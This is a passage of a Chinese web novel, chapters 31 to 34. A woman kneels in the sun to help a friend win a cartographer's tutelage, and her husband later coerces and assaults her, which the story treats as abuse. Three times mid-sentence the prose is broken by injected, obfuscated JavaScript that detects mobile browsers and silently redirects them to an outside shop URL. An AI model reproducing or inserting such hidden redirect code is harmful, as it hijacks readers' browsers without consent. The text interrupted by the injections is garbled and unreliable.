江心澜一五一十盘算起来，每说一个，景明洲就拦一句：“不好，太高。”“这个太矮。”“这个兄弟太多了，婚后万一稍有得罪，怕被戳八百个窟窿。”“这个没兄弟，不行，我怕被人骂吃绝户。” …… 江心澜翻了个白眼：“你干脆和黎偃松锁死吧，一个话痨，一个万年冰山，我瞧着你俩一起生活挺好。” 黎偃松扭头就走：“别带上我，我将来要成家的。” 晨光还未刺眼，温柔地漫过山头，露出一缕光芒，散落在青石板上的露珠里，漾成满地碎金。万山雪已经收拾妥当，见院子里静悄悄的，只下人们来来回回忙碌，便快步朝外面走去。 橘霜不放心跟了出来：“奶奶，不跟一个使唤的人如何使得？倘若再遇歹人……” 万山雪推她回去：“若是真遇到歹人，难不成带上你们就可以抵挡了？裴家何等样人家，哪个不开眼的去抢他们？江姑娘此去有求于人，我们带着丫鬟婆子，不像是去拜师学艺倒像是给人下马威去了。快回去吧，日落前我准就回来。” 马车到城外，视线豁然开朗，远远就看见一个女子骑在马上，身形被初升的阳光勾勒出一道金边，那一种风姿，真无言语可以描画。 听到马车声，女子回头一望，看清楚了面孔，正是江心澜，万山雪雀跃道：“妹妹等了很久吧？早知这样，我该再早些起来。” “这会子还早得很呢，我是担心你来得太早等久了。”江心澜拍了拍马鞍，眨眨眼睛，“想不想试试骑马？” 万山雪低头看了看裙裳有些犹豫，江心澜笑吟吟地解开披风丢了过来。 车夫急切说道：“二奶奶从来没骑过马，看摔了不是好耍的，昨儿二爷吩咐了我务必……” 话未说完，江心澜伸手一把将万山雪拉上马：“抱紧了！” 枣红色的骏马迈开步子，猛地窜了出去，将车夫的絮叨抛于脑后。 风立刻大了起来，呼呼从耳边掠过。马蹄嘚嘚踏过缀满野花的小径，晨风将温润的泥土气息和草叶味道送入鼻尖，万山雪只觉得心头激荡如翻江倒海，腔子里的那颗心欢欣得快要跳出来了。她紧紧地抱着江心澜的腰身，感受着手心里传过来的充满活力的体温。 高墙深院里，再好的风景都是被分切成块的，规整而呆板。哪像此刻，无边无际、破天野地的晨光与绿意，争先恐后地冲进心间，将肺腑里积攒已久的郁郁清洗干净。 江心澜清凌凌的笑声，是她有生以来听过最好听的曲子，比任何丝竹管弦都悦耳。 “万姐姐，你害怕么？” “我不怕。”万山雪大声喊道，“我，我想唱歌！想尖叫！我还想哭！” “那就喊出来，哭出来吧！”江心澜放开喉咙大叫几声。 万山雪被她的快乐感染了，可是她一张口，声音却哽在了嗓子里，眼泪毫无预兆地汹涌而出。 太快活了，生而为人，居然可以有这样纵情欢愉的时刻。 路边的狗尾巴草和不知名的各色野花，汇成一片流动的斑斓彩带，疾速向后退去。 她们就这样疯狂地奔着、跑着，仿佛要一直跑进那碧青色的天幕里去。什么闺阁礼仪，什么针黹女红，此刻都被这迅疾的风吹得无影无踪。天地间仿佛只剩下她们两个，同乘一匹马，连两颗心似乎也融成了一颗，同步咚咚擂响，酣畅淋漓。 离裴家越来越近，江心澜放慢速度，扭头说道：“来日姐姐定要去一趟北疆，我教你骑马。” 两人下马互相理了发饰妆容，牵着马儿慢慢走向裴家。 裴家住得僻静无近邻，此刻大门紧闭，想来还未起。门前铺着长长的青石板，江心澜栓了马，便半跪在地上，将连夜整理好的厚厚一沓地图从包袱里取出来。 万山雪忙道：“露水尚未干透，别弄脏污了，我特带了小块布料。”说着一块块铺在地上，又极爱惜地拈起地图放上去。 四十八张作品，从裴家大门一直蜿蜒到青石板路尽头。 江心澜拍拍手，长吁一口气，跪了下来。 万山雪拉住她：“我给你带了垫子。” 江心澜摇摇头：“姐姐，我平时跟着爹爹习武，身子底子好，你别担心。你已经给我帮了大忙了，辛苦你去树荫下等着，我包袱里给你准备的有吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756674|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。” 万山雪哪里肯依，收了包袱，并肩与她跪在一起。 江心澜泪盈于睫，嘴巴张了张，终究没能再说出来话，只是默默将她的手紧紧一握。 日头渐高，夏日的暑热之气开始蒸腾，石板愈发滚烫，知了也在老槐树上聒噪地叫着。汗珠从二人的额发间、脸颊上滚落而下，打在青石板上，旋即消失不见。 除了被婆母罚跪和为春草守灵，万山雪从来没有跪过这样久，便是那时，满心都是伤悲，也根本顾不得身体上的疼痛。 这会子跪在烈日头底下，她真正体会到了身体上的煎熬。 阳光像是烧得通红的针，直接扎在裸露的皮肤上，火辣辣地疼，膝盖早已失去知觉，仿佛不是自己的，疼痛却极真实。汗水越过眉毛流进眼睛，刺得她双眼模糊，她偷偷动了动发麻的脚，听见江心澜哽咽着说：“好姐姐，听话，你去边上等我。” 她想也没想就断然拒绝了：“不要。” 江心澜的跪姿一如起初，直挺挺的，纹丝不动。 万山雪看着她坚定的眉眼，再看看地上那些在烈日下愈发清晰的山川脉络笔迹，忽然明白了何谓痴绝。 到了一天之中最热的未时，连知了的叫声都变得有气无力，热浪似乎成了精怪，在眼前得意地扭来晃去。 万山雪只觉得一阵眩晕，青石板上的图开始旋转。就在她几乎要倒下时，一只手伸过来紧紧地握住了她。 “姐姐，你看东边那片云。” 江心澜的声音很轻，却如清泉汩汩淌过心间，“等它飘过来，咱们就能凉快些了。” 万山雪顺着她示意的方向望去，果然看见天边有一片云彩：“你怎么还有精神观察天象？” 江心澜扯着干裂的嘴角笑了：“我曾经在大漠里测一处古河道，困在戈壁滩上整整三天，京城的热度相比那里好多了，只是苦了你，跟我吃这苦头。” “心澜。” “嗯？” “就那么热爱这件事？非做不可么？” “嗯。” 万山雪扭头看着她，见江心澜被晒得通红的脸上，那双眸子清凉如星。 在这一刻，所有的酷热、干渴、疼痛都化作了一片清凉笼罩在心底。 她不是没见过执着的女子，如尤氏，如兰芬，如黎家女眷们，形形色色的女子们都自有其柔韧与坚持，不见得就输于江心澜。 可是，她们没有一个是纯纯粹粹为了自己。 她们有的为夫君，有的为儿子，有的为娘家脸面为婆家荣耀，为自身名声为他人歆羡…… 只有江心澜，不为嫁娶，不要虚名，不计得失，不管后果，只为心底热爱，纯粹而炽热。 何其有幸啊，万山雪。 她轻声对自己说，能在生命里再普通不过的一个夏日，亲眼得见一个灵魂被理想淬炼得熠熠生辉。 她清清楚楚地看到地上的影子如蝉脱壳，有一个全新的万山雪正在破土而出。 32. 第 32 章 路旁一棵老槐树茂密的枝叶中间，黎偃松斜倚在粗壮的横枝上，膝头搁着半壶清酒。 这个位置选得巧，既能将一切尽收眼底，又隐在树影深处，无人察觉。 烈日透过枝叶筛下来，在他玄色薄衫上洒下光斑。他拔开酒塞，清冽的酒香融入夏日燥热的空气里，平添了一丝凉意。上好的竹叶青，入肠却泛起一股说不清的惆怅。 两个时辰了，她们还跪着。 他看得清楚，万山雪中途应是实在熬不过，动了动身子，可是到了后来，她如江心澜一样，跪得笔直稳当，再也没有摇晃过。 时间在灼热中被拉得格外漫长，日头越来越烈，连浓密的树荫都快抵挡不住肆意的热浪，林子里静得似乎能听到树叶卷边时的叹息声。 万山雪的歌声就在这时响起。 起初只是几个破碎的音节，声音沙哑不成调子：“菱叶绕波光哟……” 唱完一句，她忽地扬起脸来，面容舒展在烈阳下，如一株顽强的葵花，嗓音也逐渐清亮起来，仿佛两人不是跪在滚烫的石板上，而是藏身于藕花深处仰躺在小舟里，吃着脆生生的菱角。 “菱叶绕波光哟 朝露沾罗裳 轻舟拨开千层绿 采得满袖香 忽闻阿娘唤哟 炊烟袅袅长 竹篮装满星月 笑盈水中央……” 字字句句都如碎瓷，扎入他心头最柔软的地方。 她的发髻不再精致，妆容想必也花了，衣衫亦因汗水打湿，湿湿嗒嗒不复光鲜，可他不用看也知道，她的双眸定然神采奕奕，美得惊人。 烈日依旧当头，可她的歌声仿佛真的引来了江南水汽，两人手挽手跪直的背影，如不肯折腰的青竹。 最后一个音缓缓落下，她长吁一口气偏头对江心澜说道：“你看，唱歌也能解暑呢，我们不必非要等那片云彩来。” 他仰头饮尽壶中残酒。 有时候牵念到深处，他亦忍不住去想，究竟是为什么，为何偏偏是她？ 他说不清楚。 只好暗道世间缘分大抵都如此，情不知所起，一往而深。 初见时的心神牵动，大约只是因为年少时的惊鸿一瞥。 而后来的念念不忘，或是因他亲眼目睹了处于伤痛与绝境之中，她的不甘与悔恨，她的挣扎与坚韧，点点滴滴都落在他的眼底心里。不知何时，情根已然深种。 就在昨日，乍然得知她想离开崔府，他欢喜无尽中只有一个念头，老天有眼，给了他一线生机。 而今日，那个终成眷属的俗念忽然打消了。 她是这样地好。 若是来日有缘能够相伴终生自然极好，若是不能，就做她的守望者，看着她从岩石中挣脱，一点一点舒展身姿开出花朵，亦很圆满。 日头渐渐西斜，将青石路面打出一层淡淡的金色，裴家的缓缓开了。 须发皆白的裴老先生慢慢走了出来，一步一顿，目光如炬扫视地上的每一幅图，最终落在那张《苍西栈道险要图》上。 老人脚步顿了顿，缓缓蹲下身子，布满皱纹的手轻轻抚过图纸上墨色最深的一处：“十年前，工部重修苍西栈道时，曾说此道已毁。你这图上，为何还标着通行无阻？” 江心澜使劲张了几次嘴都说不出话来，最后好容易发出了声音，嘶哑不成声地说道：“回先生垂询，晚辈去年亲自走过，古道完好，只是被落石挡住了入口。若是西侧绕行三里，仍有小路可通，此处对于打仗时暗中行进有极大帮助。” 老先生又拿起另一张端详半晌，转身说道：“来吧，给老头子好好讲讲，你这每幅图的故事。” 江心澜难以置信地看着老爷子，惊喜之下竟呆住了。 万山雪手脚并用地爬起来，踉跄着去收拾满地图纸：“心澜！先生答应了，先生叫你进去！” 她的双手颤抖得厉害，却是满脸笑意，将收拾好的图纸恭恭敬敬捧给裴老先生，又膝行过去搀扶双腿麻木的江心澜。她那样急切，似乎生怕耽误一会儿，老先生就会反悔似的。 江心澜借着她的力道勉强站稳，扭头深深望了一眼，双眼蓄满眼泪。 “傻子，哭什么，快去快去，我在外面等你！”万山雪尽力推了她一把。 看着江心澜迈过裴家门槛的一刹那，万山雪只觉得头晕目眩，浑身力气仿佛一泄而尽，她晃了几晃，终于支撑不住，无声无息地倒了下去。 黎偃松如离弦之箭跳下树，几乎是飞扑过去的，在万山雪即将触及滚烫石板的瞬间，他将她稳稳地接到了怀抱里。 触手处是惊人的滚烫，她被烈日灼伤的脸上还带着没有褪尽的笑意，嘴唇干裂，上面凝固着暗色血迹。 尖锐的疼痛从他的心口处蔓延开来，像是有密密麻麻的隐形针刺入肉里，找不到伤口，却尽是痛意，痛得他浑身颤抖。 “万姐姐！”江心澜回身冲出来，裴老爷子健步如飞先到了万山雪身旁，他在脉搏上一探，嘱咐抱进院里去，又吩咐身边的童儿道：“取冰片膏来。” 黎偃松将万山雪轻轻放到院中的竹榻上，脱离怀抱的一刹那，巨大的空虚感攫住了他。 裴老爷子诊脉半晌说道：“取针来！” 沙场上的血肉模糊刀光剑影亦不曾让他心颤，此刻针扎在她身，痛楚却在他四肢百骸蔓延开来。他面朝大门而立，双手不自觉地握成拳，竭力压制指尖的颤动。 江心澜接过童儿端来的水递给他一杯，视线相接的一刹那，他知道，她全都看穿了。 他与她，如同双生手足，太过熟悉，什么也瞒不过对方。 他终于再忍不住，朝裴老爷子长长一揖，大步跨出了裴家大门。 日头悬在天边将落未落，天边燃烧着一片凄艳的霞光。 血色残照里，万山雪服了药在院里沉沉睡着，黎偃松立于门外静静守候，崔明之匆匆赶来，满脸的不快在看见黎偃松的那一刻尽数敛去，换上平日里体面又清雅的贵公子形象：“将军安好?我忙了一日，适才听丫鬟说起此事，连忙赶来接内子回家。” 黎偃松颔首道：“崔兄来得正好，尊夫人为了陪江姑娘求见裴老爷子中了暑热，方才老爷子为尊夫人施了针灸，说已无大碍。” 裴家老夫人听见来人，起身相迎说道：“这孩子当真是重情重义，崔家郎君好福气。” 崔明之连忙行礼说道：“内子莽撞不知礼，叨扰了老夫人安宁，实在对不住，我这就接她回去。” 裴老夫人极力挽留：“伤热之人不宜劳动，就在此休息一夜，明日好齐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756675|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整了我着人送回府上。” 奈何崔明之只说崔母挂念得紧，定要赶回去。 裴老夫人没奈何道：“既是如此，我去再取些消暑丸药来，是太医院制的，想来比外面卖的要好些。说到底，都是我家那倔老头子害得这俩孩子暑热。” 崔明之又是好一番客气。 待老夫人走了，崔明之寒暄几句后低声道：“在下有个疑问，若是不当还请将军谅解。以将军之身，求见裴老爷子定然不难，为何要眼睁睁看着江姑娘这般费周折？” 黎偃松心下发冷，有这般疑问不奇怪，可最应该问的，不是万山雪的身体状况么？ 人前的恩爱，当真都是装出来的？ 他淡淡说道：“实不相瞒，我也曾有这想法，可是江姑娘敬重裴老爷子，不肯以权势地位要挟。” 崔明之点头称赞道：“真乃奇女子也，竟能想出这样的办法来打动裴老爷子，无怪乎内子心生敬佩。” “江姑娘与我说，这个法子是尊夫人想出来的。” “若说内子重情义，那倒不假，可她绝无可能有这等玲珑心思。”崔明之脸上闪过一丝惊讶，随即毫不掩饰地说道：“不怕将军笑话，连小小宅内的账本她都看得昏头涨脑，如何能想出这个法子来？若是论起吃喝玩乐，哪家脂粉最细，哪家香粉种类齐全，内子倒是个中高手。怕是江姑娘因内子与她要好，故而特意贴金吧。” 黎偃松忽地明白了万山雪为何要逃离。 鄙夷已成为常态，连起码的尊重没了。 还要什么恶语相向？藏在语言里的利刃足以令人心死。 他不再解释，只是微笑。 如此也好，她就可以毫不留恋地想尽法子奔向远方，从此再也不必受这样的窝囊气。 裴老夫人取了药丸来，叮嘱了服用法子，而后看了塌上一眼笑道：“醒过来了？这会子感觉如何？” 两个丫鬟扶着万山雪慢慢起身，她揉了揉额头说道：“这会子好些了，江姑娘呢？” “你睡了一个时辰，老头子给她讲解了一个时辰，放心吧。” “既然醒了，就回家吧。”崔明之说道，“人家江姑娘来是为了求学问道，你跟来添的什么乱子？惹得两家子不得安宁。”说着便上前从丫鬟手里接过万山雪。 她双腿一软，膝上肿痛难忍，眼前更是发黑，本能地抓住了崔明之。 “下坡不好走，崔兄不若背着夫人。”黎偃松见他有些不耐烦，恨不能将人抢过来。 “不过是中了些暑气，哪里就这样娇气了？”崔明之嘴上如此说，却还是蹲下身子，命她伏在背上。 万山雪却不肯，坚持要自己走。崔明之发了狠，起身拽着她就走。 裴老夫人洞若观火，叹了口气回身进去了。 黎偃松亦不忍再看。 万山雪脚步虚浮，几次险些绊倒，狠命咬牙道：“二爷松开手，给我找根树枝扶着，只怕还好走些。” 崔明之低声道：“这会子知道疼了？往日倒没看出来，我崔明之娶了个巾帼英雄，只是你这点子用心劲儿放在持家上，母亲也少生点儿闷气。往后安分些吧，替你收拾多少烂摊子了。” 万山雪身上疼痛愈深，心里却愈发安定，她知道，有些路一旦开了头，就会越走越顺畅。 33. 第 33 章 来时路上那样洒脱快活，回程却只觉得路途遥遥，度时如年。马车颠簸而行，车厢内死寂得能听见彼此的呼吸。 崔明之忽然轻笑一声，带着一抹讽刺的微笑说道：“你与江姑娘，倒是情谊深厚。” 万山雪知道他话头不善，索性闭目靠在车壁上，不予回应。 “母亲才刚因你提议去中原布施一事对你有了好脸色，你今日一言不发就往外跑，若是回娘家、去舅舅家倒也罢了，偏偏是与那江心澜一道，叫我怎么帮你圆场？” 她闻言睁眼反问道：“江姑娘怎么了？” 崔明之掸了掸衣服：“明知故问。一个未出阁的姑娘，整日间抛头露面，坐卧都与男子一道，成何体统？回京之后分明有家却不归，与黎将军尚未议亲，便大喇喇地终日住在人家府上，谁家好女儿这般浪荡？……” 万山雪坐直了身子：“江姑娘是在做学问，连裴老爷子都敬重她的学识……” “这等雕虫小技，也就你等无见识的妇人愿意吹捧其为学问。照这个标准，路边摆摊挑担的都可称巨商，靠卖字画为生的都堪称鸿儒了。” “江姑娘不一样，她潜心于绘制舆图，不畏辛劳亲自勘测绘制，还纠正了工部所绘图画的错误，这可是裴老爷子亲口所说！” 他嗤笑一声：“人家几句奉承话罢了。你当裴老爷子真是被你们的诚心所感动？还不是为着她是江咏的女儿！若是贩夫走卒之家，便是跪死在这里，也等不到裴家大门打开。” 说也奇怪，他对她怎样不尊重，她都已经可以淡然接受，无非是一遍遍加固要离开崔家的决心，可是提及江心澜时的轻蔑语气，她一个字也无法忍受。 心里带着气儿，嗓门便高了起来：“二爷若是不信，自去问裴家人就是。至于她暂住黎府，那是因为江家黎家世代交好，江将军和夫人都在北疆，老宅无亲人，黎家怕她回去太冷清，决意不肯要她回去，到二爷嘴里，怎么就成了浪荡不检点？就譬如思羽住在二爷家里，难道也是行为浪荡不检点么？” “万山雪，你发什么疯癫！思羽，是我娘的亲外甥女，姨母家住不得？” “是啊，亲亲儿的姨表妹子，因表哥在酒宴上点了姑娘唱曲儿，哭了几日。反倒是江姑娘与黎将军清清白白，不过因世交之谊陪黎家祖母几日，就要被人扣上有悖闺范的帽子，她又去哪儿说理去？” 崔明之怔住，过了半晌勾起一个意味深长的微笑：“哦，说了半天，原来是吃醋了。” 他伸手捏住她的下巴，凑近身子来，暧昧说道：“我对她只是兄长之情，你别多心。” “我不过就事论事，是二爷多心了。” “你近来故意装出种种冷淡之态，原来是要欲擒故纵，让我尝尝被冷落的滋味。” 万山雪心底一片冰冷：你瞧，这些年你的感受，他都清楚。 他欺身压过来：“好，我就成全你的小把戏。” 万山雪惊骇之下，拼命躲闪，后脑重重地撞在车厢壁上，可崔明之不依不饶，一手扣住她的后颈，一手箍住她的腰身，气息喷在她的脸上。 她头一次觉得他这般令人作呕，死命挣扎。 “怎么？连基本的为妻之道都忘了？”崔明之整个身子倾轧过来，万山雪情急之下，抬手给了他两个清脆的耳光。 崔明之眼中涌起暴怒，但他很快压下火气，慢条斯理整理好衣衫，低低笑道：“跟着好人学好人，跟着师婆跳假神。夫人跟着江姑娘学得真好啊！前些日子求着我去你床上的情形，这么快就忘了？” 万山雪缩在角落，想起方才的情形仍是浑身发抖，她呜咽着说道：“你不是厌恶我么？我如今也不喜欢你了崔明之，你娶谁都行，只求求你，不要为难我。” 他整顿衣襟的手顿了顿，抬眼看着她，目光冷如冰霜：“万山雪，当初用尽手段非我崔明之不嫁时，怎不见你这般贞烈？” 她的脸色在昏暗下来的光线里显得愈发惨白，张了张嘴，却说不出一句话来。 他忽然伸手扣住她的喉咙，而后对着她的唇瓣用力咬了下去，直到唇齿间弥漫起血腥味才放开，而后用帕子将嘴唇仔仔细细地擦拭干净，嫌弃地将其丢出窗外，说道：“既然费尽心机占了崔家媳的位份，就守好你的本分。别以为你舅舅回来，你就翅膀硬了。在这桩婚事里，过去，如今，将来，只有我崔明之厌弃你的份儿。” 马车到了崔家，他整理好衣冠跳下马车，灯笼的光芒打在身上，将他斯文俊秀的脸分割成明暗两半，他微笑着向她伸出手，笑容无懈可击：“夫人，小心。” 万山雪没有理他，挣扎着爬下了马车，一瘸一拐地向前走去。 玲珑先迎了上来：“二奶奶，太太在等着您呢。” 尤氏端坐堂上，慢条斯理地品着手里的茶水，目光落在她的腿上片刻，将茶盅放在紫檀木案上，发出清脆的响声，曼声说道：“取凳子来，扶你们二奶奶坐下。” 万山雪情知她话里有话，不敢坐。 “到底是年轻啊，不知道人言可畏。”尤氏轻轻叹了口气。 “感念救命恩人是好事儿，可是那位江姑娘行事太过张扬，她常年在北疆生活，自然不必顾及京城人的流言蜚语，可你我不同，若是这般出格，唾沫星子都能淹死你。” 她缓缓走下来，从腕上褪下一串沉香木念珠：“这是在佛前开过光的，你戴着，我看这几日你不必出门了，抄抄经书静静心也好。” 月光洒在石阶上，万山雪低头看着腕上的念珠，只觉得比铁链还要沉重。 回到房里，橘霜和红璎早已准备好了热水为她沐浴，蒸腾的热气模糊了菱花镜，也令她陡然放松下来。 橘霜为她褪去衣衫，瞧见膝盖上深紫色的淤痕不由得惊呼出声，又挽起衣袖，见手腕上还有方才与崔明之吵闹时留下的痕迹，心疼得说不出话。 红璎拿着软布小心翼翼为她擦拭后背，倒吸冷气说道：“瞧这背上都晒脱皮了，多疼啊！” 万山雪眯着眼靠在桶沿笑道：“一点子伤，别大惊小怪的。我骨架都要散了，这会子经热水一浸真舒服极了。” 红璎帮她揉捏胳膊对橘霜说道：“你瞧瞧，饶是遭了这样大罪，还乐得如此。” “宁可身体牢乏，也要心情舒畅，我今儿总算领会这句话了。嗳，来日我定要学骑马，也定要教会你们，你们不知道今日情形，真快活极了！” 她一手握住一个丫鬟的手，承诺似地说道：“真个的，你们相信我，总有一日，我要带你们离开，咱们像江姑娘那样自由自在地活着。” 橘霜噘嘴嗔怪道：“奶奶先别发誓了，好好泡泡药汤是正经，还不知这晒伤多久能退去呢！”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756676|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “那有什么打紧？”万山雪不在意地简单冲洗后，便起身说道，“就这样吧，乏得很，我要睡了，明日再与你们细说。” 她换了一身水粉色的寝衣，银线绣着几朵含苞待放的莲花，领口缀着两粒珍珠，衣带在腰间松松打了个结，勾勒出姣好的身姿。 橘霜帮她将长发烘干，又仔仔细细涂抹了药，万山雪实在困得睁不开眼了，便摇摇晃晃起身倒在床上说道：“哎呦我真撑不住了，睡了睡了。” 门吱呀一声开了。 “出去！”是崔明之冷冷的声音。 万山雪的瞌睡一下子飞到九霄云外，她坐直了身子，拿着梳子梳理长发，沉默不语。 “膝盖还疼么？” “不劳二爷挂心，好多了。” 他从她手里夺过梳子：“我帮你。” 万山雪想要起身，却被他牢牢地按在了床帮上，下巴搁在她的肩膀上，硌得生疼，她别过脸去：“二爷，请自重。” 崔明之不急不恼怒，反而握着她的一缕青丝把玩，桌上的镜子映出他的眼神，满是她从未见过的侵略欲念，还有丝丝难辨真假的柔情。 “这三年，我确实对不住你，错过了很多，可是……来日方长。”他慢慢说道，温热的嘴唇贴住了她的脖颈，“还有一生的时间，足够我们加深了解。” 万山雪忽地将他掀翻在床，拿出方才卸下的簪子直直地对着他的喉咙：“崔明之，我叫你自重！” 有那么一刹那，她是真的想把这簪子狠狠按进去。 “我说的不错吧？跟着江心澜混在一起，学了不少蛮劲儿，来吧，朝着这儿扎，明日万家长女弑夫的消息就可以传遍京城了。” 万山雪冷静下来，簪子却始终抵着他的喉咙，一下也不肯放松，她头一次俯视崔明之，心里没有了往日仰望他时的怯懦，一字一顿地说道：“崔明之，从前种种，是我被人设了一场相思局，连累了你，实在对不住。可我也搭上了名声与三年青春，我们就算是扯平了。” 夜风从半开的窗子里吹进来，烛火猛烈摇晃，墙上两个人交叠的影子暧昧不明。 崔明之的脸色陡然变得冷峻，他伸手夺过簪子重重地丢了出去：“一笔勾销？三书六礼，八抬大轿，我崔家明媒正娶你进门，你告诉我，婚礼所有花费，这三年吃穿用度，哪一样不是我崔家供给？如今你舅舅回京了，又搭上了黎府江府，你自以为有了靠山，就想把前尘往事一笔勾销？” 他俯身逼近：“这门婚事是你求来的，来着容易，走，你妄想。” “我没有妄想，崔明之，我会继续做你的妻子，只是……” “那便尽好你的责任。” 崔明之翻身将她压在身下，将寝衣哧啦一声扯开，指尖自脖颈向下流连：“从前不要你，是没兴趣，如今我既有了兴致，你身为妻子，就得配合。” 万山雪闭上眼睛：“当年执意嫁你的苦果，我承受了。如今你不拿我当人可以，可是后果，二爷也要自个儿担着。” 崔明之顿住了。 “明日，我要昭告满京城三年未孕的实情，喝了整整三年坐胎药，被婆母责骂了整整三年，我万山雪比窦娥还冤。” “崔明之，你拿什么跟我比？一千多个日日夜夜，我备受折磨，性命都去了半个，脸面于我，早就不值钱了。” 34. 第 34 章 万山雪被禁足的第八日傍晚，红璎推开门进来轻声笑道：“方才牧笛来说，御寒的衣物还有防冻药膏全都备足送到了咱们公子手里。奶奶只管放心吧。” 万山雪略感欣慰，抚摸着手中即将完工的棉甲说道：“今明两日将这几件棉甲赶制完工，咱们就可歇歇了。” 红璎又道：“牧笛还说，二爷跟太太吵了几句，二爷据理力争要奶奶出去看看公子，一别不知多久才能见面。太太说了几句不中听的话，奶奶也不必听了，总归，公子参军这件事是板上钉钉的了。” 橘霜咬断棉线，抬头笑道：“怎么又改口了？一会儿姑娘，一会儿奶奶，我听着都头晕了。” 红璎笑道：“从前眼瞧见奶奶受气，整日一肚子憋屈，总想在细致末梢上都争口气回来。如今既扬眉吐气了，奶奶姑娘不过是一个称呼，便无所谓了。” 万山雪颔首道：“红璎这话不糊涂，老话说穷生奸计富长良心，未必指的单是钱财上。人过得顺畅时，心境宽和，小来小去便都不值得放在心上了。” 橘霜取出上次万山雪从兰家带回的兰蘅遗留之物，说道：“奶奶方才说，要点缀些什么上去？” 万山雪从匣子底层拿出四枚仅有的和田玉平安扣，摩挲半晌，说道：“这四枚平安扣分别缝进护心处吧，护佑他们平安顺遂。若是有多的，真应该给青鲤和金鲤也各缝上一枚，帮了我们不少忙。” 红璎道：“心意到了就很好，这几日为缝制这六件棉甲，熬得眼下都青紫了。后边的活就交给我俩吧，奶奶好生歇息歇息。” 橘霜走到门口向外一张望，抢着将棉甲都夺过收起，万山雪会意，坐在桌前继续抄写金刚经，对进门的脚步声置若罔闻。 崔明之大步进来扫视一眼说道：“不想抄就不抄了，上面的墨迹都干透了，这会子听见我来了又装模作样。” 万山雪也不回嘴，只管一笔一划写下去。 “毓儿要去北疆参军之事，是你所为？” 他连问两声，不见万山雪回应，便夺过她手里的笔，往砚台里一扔，溅起几滴墨水，不偏不倚落在她的左臂上。 “弟弟志在报国，我这做姐姐的，总不好拦着。”她不紧不慢拿起帕子擦拭手臂。 “报国？自己亲弟弟你心里没点数么么，想光耀门楣也看看是不是那块料子。北疆苦寒之地，先不说他能否立功，从小娇生惯养的，若是耐不住违反禁令做逃兵，是要连累三族的。就是黎家，外面看着光鲜，内里呢？一代代男儿马革裹尸，一家子人如同活在坟里。” 万山雪只是沉默，他的声音越来越大：“他没有营生可干，你为何不跟我说？既不是读书的材料，便跟着我做生意去，体面又安稳，岂不胜过刀头舔血百倍？” 方才写了大半夜的纸上也溅了墨，万山雪将那一页纸裁下，说道：“人各有志。” 崔明之气得在屋子里踱了几步，回身拉过一把椅子说道：“我不与你吵，咱们好好说。你母亲去得早，就这么一个亲手足，自然是留在身边互相有个照应的好。今年北地寒得早，咱们崔家要奉命往北疆运送棉布，你若真想历练他，我让老道的伙计带着他走一趟，既能长见识，挣一笔钱，也不至于被绑死在军营。虚名怎如银钱握在手里来得实在？再说他也是订了亲的人，咱们便是舍得，人家姑娘也愿意苦苦等着么？” “二爷考虑的极是，若是这话说在一个月前，我也会极力赞成。可如今已经是谈妥的事情，毓儿想尽法子，好容易求得人家黎将军同意，是反悔不得的。” “小舅子的事儿，做姐夫的管不着，外三路的阿猫阿狗倒能决定，这是什么道理？参军也要走正经流程的，你这会子说一句舍不得，再加上江心澜帮忙说话，黎将军难道还会怪罪不成？” 万山雪只觉得脑袋发蒙，不想再争吵下去。 她按着太阳穴，忽地轻笑了一声：“二爷前几日才说过的话，我不敢忘记。为了娶我，不仅花费五六千银两，还舍出了二爷名声，能在崔家安稳度日，于我而言已是天大的恩赐，如何能让弟弟再来沾崔家的光？” 崔明之猛地起身，玉带扣撞在桌沿发出清脆的响声：“万山雪，你非得带着刺跟我说话？” 万山雪垂眸道：“实情罢了。” 这时红璎在外面清脆说道：“二爷，奶奶，牧笛送来了一个请帖，说是明日万府为大公子践行，相府和黎府都送了帖子，请二爷和奶奶前去作陪。” 万山雪接过请帖，指尖摩挲着上面的纹路。 房间里再度陷入死寂。 崔明之站在窗前，背影僵硬，许久才听他长吁一口气，转身走回她面前。 “那些话……是我不好，对不住，我只是气头上所说，当初娶你我虽然不情不愿，可那些花销我从没放在心上。” 万山雪的手顿住了，她没想到，这辈子还能听到崔明之的软话，心头漫起一波一波的酸楚来。 “毓儿若真想从军，我去找兵部打点一番，让他留在辎重营。不必上前线，是个拿得出手的肥差事，将来就是到岳家腰杆也硬挺。” 她思忖半晌说道：“多谢二爷愿意真心相助，我感激不尽。只是弟弟素日所为，二爷想来也是清楚的，与一众游手好闲的子弟整日聚在一起吃喝玩乐，我想他需要真刀真枪的历练。或许我这话在二爷看来幼稚，世人都在权衡利弊，求最小付出最大收获，可我想，能为热爱之事去打拼付出，快意余生亦很值得。” 